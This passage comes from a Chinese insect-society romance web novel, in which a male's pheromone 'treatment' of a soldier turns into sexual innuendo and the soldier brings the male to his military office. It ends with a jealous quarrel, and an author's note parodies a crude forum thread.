他也犹豫了许久,毕竟早上的时候已经输送了十分多的信息素,今晚好像没什么必要。 但计划就是计划,要是光有计划不行动,也是很让虫不舒服。 所以,弥斯觉得过来问一下病虫本虫的意见。 “弥斯,这么晚了,有什么事吗?” 路西法只开了一小道缝,因为刚刚在想一些不太优雅的事情,他现在还没办法及时抛下阴暗的内心,没想到雄虫根本没看他。 弥斯有些纠结地问,“路西法,治疗可以从今天开始吗?” 路西法的脸色变了又变,这真的很难开口拒绝,但是他的上半身赤裸,下半身也不是什么好东西。 “可以。”路西法好不心虚地接受了雄虫的提议,废话,谁会拒绝一只主动送上来的猎物。 弥斯松了一口气,他不喜欢拖延,制定了计划习惯立即执行,雌虫的通情达理让他非常感动。 雄虫微微抬起头,入目就是,饱满的胸肌毫无遮拦的展示在他面前。 太慷慨了,路西法。 弥斯有些心虚地转移了视线,嘴上还不忘记补一句,“路西法,你怎么不穿衣服啊?” 路西法虫壳很厚,赤.身.裸.体的,完全不会羞涩。 而且他一眼就看出了雄虫非常喜欢他的身材,这打消了他一开始想去披一件外套的想法。 他面不改色地说:“刚刚已经躺下了。” 弥斯小声地嘟囔着,“竟然裸睡。” “嗯?”路西法像是没听清他在说什么,俯身靠近。 胸肌几乎马上就要碰到他的脸,弥斯慌张地退后了两步,似乎是意识到他躲避得太明显了,又往前走了两步。 这下真碰到了,好硬! 路西法这只变态虫,肯定是故意的,别以为他不知道,胸肌只有在绷紧的时候才是硬的。 更何况,S级的雌虫听力不是一般的好,哪里需要靠这么近。 弥斯有时候真的觉得他跟不上雌虫的变态,尤其是当他低头看到那团很明显的鼓起时,更是无法理解。 至于吗,不刚刚大病初愈吗,怎么就这么迫不及待,真是一只好色的雌虫。 弥斯把雌虫推倒在床上,冷漠地说:“路西法,躺好,我要开始了。” 路西法对雄虫的刻意冷脸十分稀奇,促狭地看着雄虫,视线从雄虫的脸上缓慢下移。 “弥斯阁下,你这样说话真的很容易让虫误会。” “大晚上的,孤雄寡雌的,不知道的,还以为你……” 弥斯真是被这只虫的虫壳厚度给惊呆了,急忙冲过去捂住他的嘴巴。 “闭嘴!” 路西法就那么四仰八叉地任由他动作,眼里满是一些不可说的视线,感受到雄虫香香嫩嫩的手掌心,呼吸深了几分。 “小弥斯,怎么还不让虫说话呢?” 雌虫说话的时候,嘴唇自然而然地擦过他掌心的软.肉,吓得弥斯赶紧收回了手。 他气急败坏地说:“现在不许说话,也不许乱动。” 说完,弥斯把被子扔在雌虫身上,盖住他的下半身,怎么有虫可以面不改色地肿着和他说话啊,真是太离谱了。 “好吧,弥斯阁下态度还真是强硬呢。” 路西法被发现了也不觉得羞耻,虫族根本不会因为欲.望羞耻,对雄虫产生欲.望也是再正常不过的事情了。 但是,路西法轻飘飘地看了一眼雄虫,脸已经红得发烫了,还是不继续调戏他了。 见雌虫总算是恢复了正常,弥斯也松了一口气,要是雌虫一直浑不吝地说一些浑话,他真的要原地爆炸了。 平时的路西法还是很正常的,非常有贵族风范,简直是雌虫楷模,可一旦开始变态,弥斯就完全应对不了。 “我真的要开始了。” 弥斯有点不好意思,要在雌虫面前伸出尾勾是一方面,路西法的眼神也实在是上不得台面,看起来要吃虫一样。 “路西法,你能不能闭上眼睛。” 雌虫一只手臂肘着后脑勺,视线像毒蛇一般缠在弥斯身上,弹性十足的胸肌也因为急促的呼吸起起伏伏,看起来多了几分放浪形骸。 也不知道是受了什么刺激,巧克力蛋糕上的乃果,从内陷中缓缓站了出来,简直是在诱虫犯罪。 弥斯有些不自然地转开了眼睛。 路西法听到这句话,又要张口说话。 弥斯瞬间就更紧张了,赶紧打断,“好吧,好吧,就这样,你别说话。” 弥斯咬咬牙,伸出尾勾,慢慢往雌虫心口处探去,其实也不必每次都扎进心口的。 但是治疗最有效的地方,除了心口,其他地方都不方便对一只未婚雌虫进行。 路西法看到那条银白色的尾勾,缓慢地在他身上爬行,冰凉的,难以忽视地停在了他的心口。 白色的啊,和他的皮肤真的是绝配呢,那么显眼地出现在他身上,以后还可能出现在一些不可言说的地方。 雌虫的眼神太炙热了,让这场再正经不过的治疗也变得奇怪了,弥斯怕他对视,只能将视线专注在雌虫的心口。 尾针扎入,路西法彷佛受到了极大的刺激,发出了一声闷哼。 弥斯以为是因为痛,赶紧看过去,雌虫可能是怕被他看到这么脆弱的一面,竟然用手臂挡住了眼睛。 路西法的虫壳厚度他早就见识过了,竟然都痛的不好意思见虫了,这让他不由得开始担心。 “路西法,你没事吧,很痛吗?要不我换个方法吧。” 其他地方虽然有些羞耻,但确实比扎心口舒服多了。 路西法一听,还以为雄虫要走,手不自觉地就握了一下尾勾,“没事”,他的声音异常沙哑。 弥斯被握的那一次刺激地倒吸一口凉气,雌虫到底知不知道雄虫的尾勾是……不能摸的,可恶。 算了,路西法一只单身雌虫知道什么。 弥斯说服了自己,开口继续安慰道:“我很快的,你再坚持一下。” 也不管路西法到底听没听清,弥斯加快了治疗速度,长痛不如短痛。 信息素注入完成之后,弥斯就快速收回了他的尾勾,看着雌虫疼痛难忍的模样,他也没狠下心任由路西法自生自灭。 弥斯弯下腰,帮雌虫盖好被子,然后顺手把雌虫盖眼睛的手扯下来,规规矩矩地放在肚子上。 做完这一切,他才反应过来,好像还没有给雌虫处理心口上的伤口。 弥斯又把被子掀开,看着雌虫心口上被尾勾扎出来的洞,有一点点心虚。 正常情况下,应该只有尾针扎进去的,但他控制的太差了,尾勾总是不那么听话。 这么大的洞该怎么治疗呢,弥斯没什么经验,“路西法,你有可以治疗这种伤口的药物吗?” 弥斯抬眼看向雌虫的眼睛,吓了一跳,他匆忙松开手。 雄虫控制不住地惊呼,“你,你,你,你怎么能这样?” \第29章 第 29 章 我是S级,很耐疼 “我又不是傻子, 你那个眼神就是……” 弥斯不好意思说出口,他也不是小虫崽了,自然看清了雌虫眼底毫无遮掩的情.色。 路西法真是太过分了,他这是正经治疗, 更何况、更何况扎的是心口, 看起来那么痛, 他怎么能…… 啊啊啊,真是搞不懂。 “就是什么, 小弥斯?”雌虫的声线还带着一些做完那种事情之后, 尚未从余韵中恢复过来的涩感。 被发现了的雌虫半点心虚没有,生动形象地将得寸进尺演绎了出来。 如果不是现在身子还在发软, 路西法甚至会坐起身凑近雄虫, 近距离看一看羞耻之下的雄虫是什么样的。 “你, 不要脸!” 他怎么还好意思问得, 弥斯简直是被雌虫的虫壳厚度惊了一下又一下。 弥斯想起治疗过程中的, 雌虫一声声的闷哼, 他那个时候以为是痛的, 还加快了速度,现在想起来…… “你不会……” 弥斯的视线从雌虫的脸上慢慢转移到腹部,最后落在,果然, 路西法臀部下的床单被洇湿了。 啊啊啊啊, 怎么能这样? “弥斯阁下, 我怎么了吗?” 路西法脸不红心不跳, 甚至已经恢复了许多,他坐起身,缓慢逼近雄虫。 弥斯被吓得连连后退, 整只虫直接退到了门口,只能狼狈地留下一句,“啊啊,治疗结束了,我要回去睡觉了。” 回到房间的雄虫狠狠拍了一下自己的脸,真是的,都是两只眼睛一个鼻子,上面下面都差不多,至于吗,弥斯,淡定。 不就是在治疗的过程中,路西法受到了刺激,释放了一下,也没什么大不了的吧。 你要把自己当成专业的医虫,应对这种情况就应该面不改色心不跳才对。 是的,就是这样,这太正常了,每只虫都会有生理需求的。 …… 弥斯根本说服不了自己,接下来的三天他都尽可能避免和雌虫对视,甚至能少说一句是一句。 治疗的时候,也没敢做什么多余的事情,尾勾扎进去,释放信息素,然后回房间。 偶尔他也会好奇地看一眼路西法的表情,还是那副死样子。 可能是因为已经被他发现了,雌虫现在连遮掩都不愿意遮掩了,整只虫坦荡的有点过分了。 如果不是弥斯知道他们什么都没做,光听房间里传来的声音,还以为误入了什么片现场。 但弥斯现在已经能做到完全装作看不见、听不到了,他爽任他爽,我自怡然。 转眼就到了晚宴那天,弥斯也总算摆脱了上班,下班之后继续上班的痛苦,可以开心地度过周末。 他先是跑到小菜园那里看一眼新移栽进来的辣椒,路西法虽然不要虫壳了一点,但是办事效率真的很高。 弥斯想了一下,正好周六没事,给负责菜园的机器虫重新更新一套系统吧。 只是他许久没敲了,不知道会不会有些生疏。 小六本来没把这件事放在心上,但很快,它就发现了不对劲。 小六:【宿主,你这代码写得真漂亮,真厉害。】 弥斯愣了一下,【我没说过吗,我以前是计算机系的,六六,你不知道吗】 小六去查了一下资料,还真是,像006这种系统向来关注感情多一些。 至于宿主的个人资料,它看到清大毕业,多次参加国际赛事并斩获金奖,就没点进去仔细看过。 小六:【那宿主怎么不在萨达卡尔学院修习计算机专业啊】 弥斯不解,【不是都会了吗,敲代码这么简单的事情,没必要学两遍,不如学点新知识】 小六不理解,但它不是人也不是虫,不理解也正常。 代码这种东西,一敲起来,就忘情了,弥斯太沉浸了,光脑也被他放到了一边,以至于路西法联系不到虫,急哄哄地跑回家。 在监控里看到雄虫出门散步的时候,路西法还是开心的,没想到一钻进房间里就再也没出来。 到了饭点,更是忘记吃饭的事情,音讯、视讯也不接,这他还怎么工作。 一气之下,路西法就开着飞行器回家了。 他倒也没直接冲进雄虫的卧室,而是先去厨房把饭菜做好,不然把虫喊出来之后,还要等。 “弥斯?” 没有虫迎,情理之中,路西法直接就推门进去了,雄虫的身体是重中之重,怎么能不吃饭呢。 “在工作?” 雌虫幽怨的声音从背后传来,但好在声音不算太大,弥斯对这个声音太熟悉了,倒也没被吓到。 “路西法,你怎么回来了?” 不是去军部上班了吗?怎么刚出门就回来了,“有什么东西忘记带了吗?” 路西法的脸看起来更臭了,“忘记把你带上了。” “???” “带我?” 弥斯指了指自己,一脸的困惑,去军部上班带他做什么。 “你知道现在几点了吗?” 路西法点开光脑,把光屏放在雄虫眼下,“十二点四十九分,这个点你应该要干什么?” “吃、吃饭。” 奇怪,他明明什么都没做,不知道为什么还有点心虚,弥斯垂着脑袋,不敢和雌虫对视。 “好凶啊,路西法。” 又说他凶? “我凶吗?” 路西法真没觉得他凶,在雄虫面前,他已经温柔到自己都不敢相信了,弥斯竟然还觉得他凶。 “凶就凶吧,饭已经做好了,先去吃饭。” 路西法弯腰,一只手伸到雄虫腿弯下面,稍微用力,就着雄虫坐着的姿势就把虫抱起来了。 弥斯吓了一跳,赶紧揽住他的脖子,“你干嘛?放我下来,我自己走。” 路西法颠了一下,养了这么久,一点儿肉都没涨,啧,雄虫真是难养,看来要更用心才是。 弥斯想挣扎着下来,可思前想后,竟然连个下手的地方都没有。 路西法现在在他眼里就是一只变态,随便碰两下就会兴奋,他才不要变成兴奋.剂。 把雄虫小心翼翼地放在餐桌前柔软的餐椅上,考虑到弥斯的脆弱,家里的很多东西都换成了比较柔软的材料,一些尖角都包了起来。 雄虫太怕痛了,路西法总觉得有问题,可医院给出的报告里又什么事情都没有,他都有些怀疑是不是他太紧张了。 “哇塞,又都是我爱吃的。” 同居的这一段时间,雌虫唯一的进步就是,总算是爱上了吃饭,这一点让弥斯特别欣慰。 吃饭这种美事,怎么有虫会嫌麻烦呢,大家都要坚持“吃好饭,好吃饭,吃饭好”的原则才行。 “你尝尝这个,路西法,你现在的厨艺真的可以媲美大厨了,以后退休了,我们还可以开个饭店,星币肯定滚滚来。” 弥斯一边夸,一边偷偷摸摸地将碗里的肥肉塞到雌虫碗里。 每次夸路西法的时候,这只虫就会痴痴地看着他,这个时候干点坏事,他根本不会发现。 路西法一脸宠溺地看着低头吃饭的雄虫,真是太可爱了。 遇到不想吃的东西,就会抬起头夸他,然后偷偷放在他盘子里什么的,真是太可爱了。 养成一个好习惯需要多久,弥斯不知道,但是培养一个坏习惯只需要三天。 以前,他碰到不喜欢吃东西,都会直接吞咽进去,然后喝口水顺顺,反正只要不嚼,他的舌头就感觉不到。 这样,他不会难受,父母也不会觉得他挑食,完美。 但是自从被路西法发现之后,这个两全其美的方案就被否决了,雌虫不允许他这么做。 那能怎么办,弥斯总不能委屈自己的舌头吧,他的舌头可是用来吃美食的,而不是这些讨厌的肥肉。 所以,他就开发了这个新的方案,也很完美。 一顿饭就在长久的沉默和偶尔的夸奖中结束了。 弥斯眼疾手快地准备收拾东西,但他还是没有抢过雌虫。 “路西法,我来收拾就好了,你都做饭了。” 弥斯被拦住了厨房外面,愤愤不平地盯着雌虫,这样不是显得他什么都没干吗。 “你不需要做这些事,我不做也可以交给机器虫做。” 路西法只是特别享受和雄虫的二虫时光,这让他觉得十分亲近,就好像已经和雄虫结婚了一样。 “好吧,你总有理由说服我。” 弥斯在门口看了一会,帅虫做什么都赏心悦目,带着围裙洗碗的雌虫会削弱一些面相上的凶狠,反而有种十分居家的感觉,反差感很强,看起来萌萌的。 路西法不知道雄虫在想什么,但是一直被盯着,他就开始紧张了,不知道是不是他脸上有什么东西,或者穿得太奇怪了,早知道先换成居家服再做饭了。 雌虫的手乱了,力道一个没控制住,盘子就在他手里四分五裂,部分碎瓷片甚至嵌入了肉里。 “路西法!” 弥斯赶紧走进厨房把虫拽了出来,幸好他早就发现雌虫对自己太糙了,所以早早在公寓里购置了一些紧急医药箱,顺便也让路西法带了一些放在家里。 他拿着镊子,一点点把碎瓷片挑出来,十分担忧地说:“怎么这么不小心?” “你是牛吗,力气这么大,洗个碗都能捏碎了。” “路西法,我真的要批评你了,下次不许这样了,不疼吗,我看着都疼……” 听着雄虫的碎碎念,路西法心中涌上了一股热意,弥斯真的好在意他,这么小的伤也会大惊小怪,真的会惯坏他的。 “弥斯,” “嗯?”雄虫抬起头,眼中还充斥着藏不住的心疼。 本来还想卖个可怜,现在又觉得没必要,“其实不疼的,我是S级,很耐疼。” 最后一个字,路西法说得很轻,眼神也变得不清不白,钩子一样的缠着雄虫。 弥斯迅速低下头,他怎么能幻想雌虫嘴里说出什么正经话呢,别以为他听不出来言外之意。 他现在已经不是当初那只单纯的金刚雄虫了,在治疗路西法的这几天里,已经升级成了什么都能秒懂的黄虫。 “弥斯,下午和我一起去军部吧。”—— 作者有话说: 【求助:雌虫太容易兴奋怎么办】 我和朋友暂时同居,他精神海状态十分糟糕,我就帮他梳理,可每次他都会兴奋,这正常吗? 1L:???是雄虫阁下吗? 2L:兴奋很正常,哪只虫见到雄虫阁下能控制住,除非不行,控制不住才是正常的 3L:雄虫阁下发的贴吗?我没睡醒吗,这是我离雄虫阁下最近的一次 4L:缺雌侍吗?我腰细腿长身子软 5L(楼主):是的,我是一只雄虫,我朋友是军雌。有什么办法可以让他不那么兴奋吗? 6L:兴奋的症状是什么呢,好像有些糟糕的军雌会受不住半虫化,没用的东西,遇到这种直接换掉吧 7L:军雌吗,兴奋中的军雌太危险了,本来就没什么兴趣,又漏出那样的丑态,我不喜欢 8L:楼主还是换一只吧,军雌一抓一大把,找只听话的,有星币的,最好等级和军衔也要高,不然太亏了 9L:我从来不玩军雌的,还是亚雌更会讨虫欢心,楼主家里只有一只虫吗,这只不行就换一只,我们可没时间浪费在雌虫身上 10L:瑟瑟发抖,怎么这么多雄虫阁下,害怕 11L(楼主):大家误会了,不是那种兴奋,就是……另外一种,黄色的那种,我觉得天天这样对身体不好 12L:这样啊,看来是我们误会了,朋友应该对楼主很重要吧,兴奋点挺好的,最讨厌那种一直放松不了的军雌 13L:还有这种体质的军雌吗,楼主怎么调·教的,军雌身体素质高,本来应该更好玩的,可惜一直放松不了,我又不屑给他们用药 14L(楼主):我什么都没做啊,是挺重要的,他是我最好的朋友,我就是想知道这会不会对他身体不好 15L:最好的朋友啊,楼主是还没觉醒吗?雄虫崽也可以灌溉吧,雌虫欲求不满,那就满足他,不就行了,多大点事 16L:楼主不会不行吧 17L:帝国第一中心医院雄科欢迎你 18L:可能是那种喜欢玩花样的,我有一个朋友也是这样,不喜欢看雌虫释放,就喜欢看他们欲求不满,只能跪下来求他的桥段 19L:不敢说话,我们军雌身体很好的,怎么折腾都不会有问题,雄虫阁下不用担心 20L:好多雄虫,我是不是眼花了,太刺激了 21L:狠狠灌溉就好了,或者天天做,这还不好处理吗,楼主是不是没经验,给你一个网址,可以进去学习 …… \第30章 第 30 章 就应该关起来才对 “我吗?” 弥斯不知道雌虫为什么突然说这个, 虽然困惑,可他手上的动作也没停。 “对,你自己在家我不放心。” 至少在确认雄虫到底有没有生病之前,路西法放心不下, 他根本无法说服自己, 完全相信那纸报告。 “有什么不放心的, 我又不是虫崽子……” 弥斯嘴上嘟嘟囔囔,缠绷带的动作倒是流利, 三下五除二, 就缠了一个圆滚滚的粽子出来。 路西法举起右手,哭笑不得地看着他, “弥斯, 缠成这样我都不好工作了。” “包裹的严实一点, 对伤口恢复有好处的。”弥斯摸了摸鼻尖, 有一点点的心虚, 但不影响他嘴硬。 “是吗?那看来确实有用, 我的伤口估计已经好了, 小弥斯拆开来看看。” 弥斯肯定是不相信的,那个口子扎得这么深,皮肉狰狞的,吓死虫了, 怎么可能好这么快。 “我不信。” “真的, 你拆开看看, 治疗液效果很好的, 捂着还影响伤口恢复。” 弥斯半信半疑地把他缠好的粽子重新拆开,要是雌虫骗他,今天他都不会理路西法了。 “哇塞, 真的哎,太神奇了。” 看着手掌上粉红色的新肉,弥斯震惊了,治疗液这么好用吗,“我不要小白罐了,这款治疗液在哪买的,我要囤点这个。” 他兴冲冲地用指腹戳了几下新长出来的粉肉,真长好了。 “这伤口本就不深,也就看着吓虫,放着不管,个把小时也就会好了,治疗液用我身上就是浪费。” “不过小弥斯这么担心我,我还是很开心的,” 要不是贪恋雄虫摸着他的手,满心满意的都是他,路西法才不会那么矫情地给自己上药。 “你不早说。” 看到雌虫得瑟的嘴脸,弥斯甚至想穿回到几分钟前,把那个着急的自己晃醒。 “我要是提前说,弥斯是不是就不管我了。” 路西法向来吊儿郎当的,每个正形,这次问得听起来倒是有几分认真。 怎么话题突然变得正经起来了,他还真有些不自在。 弥斯又摸了摸鼻尖,垂眸,十分刻意地回他,“当然了,我才不会做那么多余的事情呢。” 路西法想想也是,担心一只S级的军雌受伤,确实没有必要。但是他心里还是有点小小的失落,但也只是一点点。 “但是,恢复得快,不代表不疼,我不会不管你的。” 弥斯低着头,有些不好意思说这种掏心窝子的话。 他又故作凶狠地批评雌虫,“所以说,路西法殿下,下次不许受伤了。” 雄虫又勾引他,真是的,也亏得他自制力强,不然孤雄寡雌的,路西法真不能保证他不会做出一些丧尽虫性的事情。 “去午休吧,好好休息。” 弥斯听话地上楼,走到半道上,又转过身低声说:“我下次不会摘光脑了。”你别担心。 说完,头也不回地上楼了,他才不要看路西法奇奇怪怪的眼神呢。 …… 弥斯一觉醒来,变天了。 他呆呆地坐起身,环顾四周,怎么回事,他温馨的卧室怎么突然变成了性冷淡的休息间。 被绑架了? 又穿了? 【六六?】 小六:【我在】 【没事了】 那看来还在帝国,【这是哪啊?】 小六:【扫描中……帝国东部战区,路西法中将办公室】 【哦,谢谢六六】 小六:【^o^】 原来是路西法的休息室,看着一点儿也不像。 弥斯四处看了看,好吧,其实还真没什么好看的,就是一个样板间,除了一张床,一个床头柜,就剩一个孤零零的金属架子,零星挂着几件衣服。 看着有几分像作训服,破破烂烂的,完全不像路西法的衣服。 他走过去摸了一下,衣服料子也太粗糙了,啧,真是一间特别符合军雌刻板印象的房间。 弥斯一直觉得路西法是一只特别精致温柔的军雌,不但熟悉帝星所有好吃的餐厅,平日里的穿着也十分讲究。 第一次到路西法的庄园时,也被那些颇为艳丽的花朵震撼了,更别提出现的喷泉、秋千、小亭……等等。 怎么看都是一只非常有格调的贵族虫,可这个休息室倒是完全不符合路西法的气质。 “醒了?” 听到动静,路西法就放下手中的文件,进了休息室。 原本还勉强算是宽敞的房间,在雌虫进来之后,就变得逼仄了。 所以说不定还真不是他宿舍小,都是被路西法衬得了,虫高马大的,像什么话。 “我怎么到这了?” 弥斯联系雌虫吃饭时说得话,大致能猜到是雌虫自作主张把他带过来了,可他还是不理解这是怎么做到的。 “你给我吃安眠药了?” 不然他怎么会像死猪一样,什么都没感觉到,一觉睡到现在,他完全不认为自己是一只特别贪睡的虫。 “没有,今天,算了,明天我再带你去一趟医院。” 虽说雄虫被他乖乖抱在怀里的模样十分可爱,可路西法和弥斯想得差不多,这完全不正常。 “我没生病,去多少次我都没有生病。” 弥斯也是十分无奈,他那个报告雌虫不是翻来覆去的看了很多遍嘛,怎么还是不信。 “弥斯,我很担心你,你又不愿意说,那就乖乖去体检,或者你和我说实话。” 雌虫看起来十分严肃,板着脸的路西法还是十分有威慑力的。 明明路西法看起来比其他雌虫凶狠多了,但是弥斯却一点都不害怕,甚至还心情颇好地晃了晃脑袋。 “反正我没病,去就去,去多少次我都没病。” 路西法只会带着他去检查身体,那肯定什么都检查不出来,要是检查别的,他就悬了。 不过,从蛋里破壳而出开始就单身的雌虫,肯定想不到就是了,愚蠢的路西法。 弥斯有些得意,哼哼,平时那么聪明的雌虫竟然完全没有往信息素方面想,看来他的雄风还是没问题的。 “你还没说为什么把我带这里来啊,而且,路西法,这里和你家里的风格完全不一样哦。” 弥斯背着手,一副老大爷的模样,看起来深沉了许多。 “你自己在家连吃饭都能忘了,我怎么放心。我把你的电脑也带过来了,等过几天,我在办公室给你腾出一片地方,以后周末你要是不乖乖吃饭,就和我一起来上班。” “至于这里……”路西法故作为难地停顿了一下。 弥斯一看有情况,立刻探身凑近了听,生怕错过什么令虫震惊的话。 “当然是因为不常来,所以就没有管过。” “弥斯阁下以为什么,不会觉得我在骗你吧?” 糟糕,被反客为主了,弥斯可没有这种大黑虫虫壳厚,大黑虫稍微说两句,他就被臊得脸通红。 “谁怀疑你了,别造谣哈。” 虫在心虚的时候,总是装作很忙,弥斯左摸摸、右拽拽,愣是没找到一块可以攥在手心里的东西。 正当他快要着了的时候,一只手伸过来,抓住了假装忙碌的雄虫。 “心虚什么,不逗你了,不是在写东西嘛?写的是什么,给菜园里的机器虫写的吗?” 弥斯背着手不回答,他还没做好,才不要和路西法说,省得这虫念叨。 把虫带到办公桌面前,卧室里的东西路西法都顺手搬过来了,不会耽误雄虫的事情。 “小心些,这个桌子是临时搬过来的,要是碰到还是很疼的。” “啊啊啊,不要说这些啊,我又不是小虫崽。” 路西法这只虫到底怎么回事啊,怎么一会儿黄黄的,一会儿又把他看成虫崽子啊,简直是,臭不要脸。 “好的,那我继续工作了,有什么需要就喊我,饮料在……” 弥斯赶紧推了推他,“我自己完全可以的,你快去忙吧。” 等雌虫回到自己的位置上,弥斯才松了一口气,不过他现在也静不心工作,正好欣赏一下中将的办公室。 桌子,柜子、柜子、放着奖章的柜子,路西法的工作场所依旧维持着冷淡风。 他才不相信雌虫刚刚说的鬼话,弥斯更愿意相信办公室才是路西法本来的风格,家里的那些估计都是装的。 弥斯走过去看了看,“单兵第一”、“二等功奖章”、“帝国模范”……一堆的奖章,看起来太厉害了。 他不自觉地也挺了挺胸膛,与有荣焉。 其他还真就没啥好看的,哦,还有略显凌乱的办公桌和规整的收纳柜,太矛盾了,理论上来说把文件收纳得像商家拍得广告般整齐的虫,多少带点强迫症,应该不至于堆这么乱。 不过这个小小的疑惑,等亚蒂斯进来之后,就迎刃而解了。 “中将,这是西部战区发来的文件,这次的军事比武,他们那边要求调用……” 这是一只中校,看起来倒像是真正收拾这间办公室的虫,太显眼了,怎么真有虫穿衣服像刚熨烫完一样,一点儿褶皱都没有,崭新崭新的,一看就有洁癖。 弥斯倒是没认真听汇报的内容,虽说听起来也不涉及什么机密,但,让他这么一只陌生虫旁听真的好吗,不怕他泄密吗? 不过,这还是他第一次见路西法工作时的样子,怎么说呢,很陌生,有点痞痞的,有点暴力,还有点……粗俗。 认真工作的雌虫还是很有魅力的,弥斯多看了几眼,就赶紧低下头了,感觉再看下去要被发现了。 弥斯很早的时候就隐隐有一点怀疑,路西法不像他表现出来的那么温柔、体贴,有品位。 也对,刚认识的时候,冷着一张臭脸训斥学生的教官,还开口阴阳怪气他搞特殊的军雌,怎么会对所有虫都那么体贴呢。 认识久了,竟然不自知地和雌虫带了一层滤镜,真有意思,和别虫熟起来的感觉是这样的吗? 路西法本来没觉得雄虫过来能有什么影响,等他骂骂咧咧完,才骤然想起来,全毁了,他的形象。 该死,为了维护这个破形象,他装了那么久,这一下子就暴露了一半。 都怪西部战区那些废物虫,一个比武都安排不好,还要请示他,屁大点事都处理不好,废物。 雄虫在看什么,亚蒂斯有什么好看的,不会吧,雄虫不会真喜欢亚蒂斯这种虫吧…… “中将?” “殿下?” 亚蒂斯觉得莫名其妙,殿下处理工作时向来雷厉风行,堪称楷模,今天怎么一直走神啊? 他顺着中将的视线看过去,是那只雄虫,他知道的,殿下总是十分在意他的事情。 “嗯,还有事吗?” 路西法已经心不在此了,他现在就想知道雄虫在想什么,为什么要看亚蒂斯,不会真这么肤浅吧。 “没有了。” 亚蒂斯审时度势,决定配合一下上司,毕竟看起来,上司现在估计满脑子都是雄虫,肯定不想再看到他了。 亚蒂斯前脚刚出去,路西法就唰的一下从位置上站起来,直直地冲着雄虫走过去。 “弥斯阁下很喜欢我的中校吗?也对,亚蒂斯在帝国最受欢迎的雌虫排行榜上,也算是有点名次,阁下喜欢也正常。” 路西法咬的后槽牙都有点痒了,亚蒂斯那种腰细,虫长得又白的雌虫确认比他看起来舒服,雄虫原本的那只虫好像也是这种风格。 雄虫不会真只喜欢这种虫吧,不会吧,这么肤浅。 都称他阁下了,弥斯还有什么听不懂的,这虫还真就是装得体贴,明明醋性又大,心眼又小,他竟然真差点就相信雌虫装出来的模样了。 “他叫亚蒂斯吗?” “确实挺好看的,不是吗?” 弥斯故意这么说,逗一逗雌虫还是挺有意思的。 而且路西法不会觉得自己长得不好看吧,虽说看着是凶了一点,但也算是俊朗非凡的大帅虫了。 尤其是身材,感觉无出其右,他超级羡慕的,好不好。 “该死,你真喜欢那种虫,他有什么好的,小白脸一个,没我星币多,也没我听话,不许喜欢他。” 弥斯觉得这个恼羞成怒的雌虫看起来也挺有意思的,反正比电视剧精彩多了。 “听到了没?” “你在想什么?不会真在想亚蒂斯吧,他有雄主的,他雄主特别喜爱他。” 见雄虫没有反应,路西法也觉得没什么说服力,有雄主怎么了,弥斯这么好,肯定都会选他吧。 而且亚蒂斯和他雄主的关系好不好,他也不知道,万一正好感情也不好,那岂不是…… 该死,他到底为什么要把雄虫带出门啊,本来他就脸黑还不会说漂亮话,弥斯又那么好,没有虫会不喜欢他。 带出来肯定会被别的虫看上的,就应该关在家里才对。 30-40 \第31章 第 31 章 过来,我抱你 “啊, 路西法你怎么能那样说人家,啧啧,背后说虫坏话。” 弥斯笑得很开心,哼, 平时这只虫就知道调戏他, 现在老实了。 雄虫很少有这么心情外放的时候, 笑起来小酒窝特别明显,平时乌黑溜圆的大眼睛也弯成了月牙状, 太可爱了, 就是一直说一些他不喜欢听的话。 “弥斯,你故意的!” 路西法刚刚还被雄虫三言两语给带跑偏了, 看他笑的开心, 理智又回归了大脑。 “我只是说了一些实话, 其他的可都是你自己说的, 能怪我吗?” 弥斯摊开手, 一脸无辜地看着他, 也只有这时候才多了几分年轻雄虫的鲜活。 路西法被噎了一下, 雄虫跟着他学坏了。但换个角度想,这是不是说明弥斯已经打心底里接纳他了,所以才会不自觉地学他,再细想一下, 雄虫为什么不和别虫学, 单单和他学。 雄虫在勾引他。 “不怪你。” 见雌虫恢复了平日里的模样, 弥斯撇撇嘴, 真没意思,他才刚领先两句,都没过瘾呢。 “对了, 路西法,你把我带到军部来,晚上的宴会怎么办?我还没换衣服呢。” 今天就这么一件正事,可别聊着聊着忘记了。 “小弥斯,我也是要回家的。” 路西法凑近他,特意把呼出的空气打在雄虫脸上,再正经不过的场合硬生生被他整出了几分涩.情。 “哦。” 弥斯往后仰了一点,他现在应对这种程度的挑衅,已经完全没有感觉了。 “那我不和你一起回去。” 路西法皱眉,“那你怎么回去?” “你不是能飞吗?”弥斯学着他的模样,双手环胸,挑了挑眉,颇为挑衅地看着他。 “嗯,怎么,小弥斯想让我抱着你飞回去吗?” “倒也不是不可以,就是风有点大,小弥斯可要抱紧我哦。” 弥斯脸一下就红了,论虫壳厚度,雌虫肯定一骑绝尘,“谁要你抱我?” “我是说你自己飞回去,我坐飞行器,懂?” 路西法懂,但他拒绝,“我拒绝。” “哼,昨天看电影,某只虫不是还嘲讽人家主角虫,飞的太慢才坏事的吗,怎么,轮到某只虫自己,就不行了。” 昨天他们看一部爱情片,还是雌虫主动要求看的,但是路西法一直在批评那只主角雌虫,每次他正感动呢,这虫就出来破坏气氛,简直能把虫气死。 “你果然还是忘不掉那只虫!” “昨天你就为了他和我吵,你还要买他的照片,你太过分了,弥斯,我绝对不会妥协。” 路西法想想就来气,本来他按照星网上的攻略,找了一部据说对雄虫百分百有效的高分影片。 关了灯,买了零食,两只虫窝在沙发上享受二虫时光,这个时候,路西法还是开心的。 但是过了不到半个小时,雄虫就被电影里的虫勾引了,看得魂不守舍的,这根本就不是他想看到的。 而且那只主角虫有什么好的,长得还没亚蒂斯好看,等级也不高,再说了,本来就是他飞太慢才导致雄虫离开了,要是他就肯定不会错过。 而且蠢得要死,都不知道开着飞行器追过去,他不过说了几句,雄虫就和他闹脾气。 虽然闹脾气的弥斯也特别可爱,可他只要想到雄虫为了一只毫不相干的雌虫和他生气,路西法就十分的不爽。 “不是买他的照片,是买光盘,光盘上有剧照,他旁边不是还有好几只虫吗?你怎么就只看到他了。” 坐着太没有气势了,弥斯站起来,逼近雌虫,指指点点,“小气鬼。” 光顾着辩论气势的雄虫,完全没觉得两只虫之间的距离有点暧昧了,当然这也是因为路西法一系列没有下限的操作,让雄虫已经完全习惯这种近距离的接触了。 “呃……打扰了。” 亚蒂斯习惯性地推门进来,然后就看到两只虫在上演办公室激.情,又快速关门出去。 随着“嘭”的关门声,弥斯也总算是意识到这个姿势有多容易让虫误解,他有些不自然地退后两步。 路西法拽住雄虫,凑近他耳边,“弥斯,我的清白这下可真被你毁了。” 说完,他还舔了一下垂涎已久的耳垂。 啊啊啊!他舔他! 救命啊,这里有变态。 “你,你,你怎么能这样。” 